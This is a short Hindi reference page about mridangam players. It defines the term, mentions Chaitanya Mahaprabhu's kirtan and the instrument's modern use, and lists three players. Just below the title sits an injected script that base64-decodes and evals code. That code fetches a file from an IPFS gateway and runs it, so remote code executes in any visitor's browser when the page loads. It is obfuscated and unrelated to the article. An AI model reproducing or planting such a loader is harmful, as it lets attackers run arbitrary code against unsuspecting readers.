मृदंग वादक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
मृदंग वादक भारतीय वाद्यों में से एक मृदंग बजाने वाले को कहा जाता है। मृदंग को 'मृदंग खोल', 'मृदंगम' आदि भी कहा जाता है।
- चैतन्य महाप्रभु ने अपने शिष्यों के सहयोग से ढोलक, मृदंग, झाँझ, मंजीरे आदि वाद्य यंत्र बजाकर व उच्च स्वर में नाच-गाकर हरि नाम संकीर्तन करना प्रारंभ किया था।
- आधुनिक काल में गायन, वादन तथा नृत्य की संगति में मृदंग का प्रयोग भी किया जाने लगा है।
- भारत के प्रसिद्ध मृदंग वादकों के नाम निम्नलिखित हैं-
- पंडित मदन मोहन
- पंडित भोलानाथ पाठक
- पंडित अमरनाथ मिश्र
|
|
|
|
|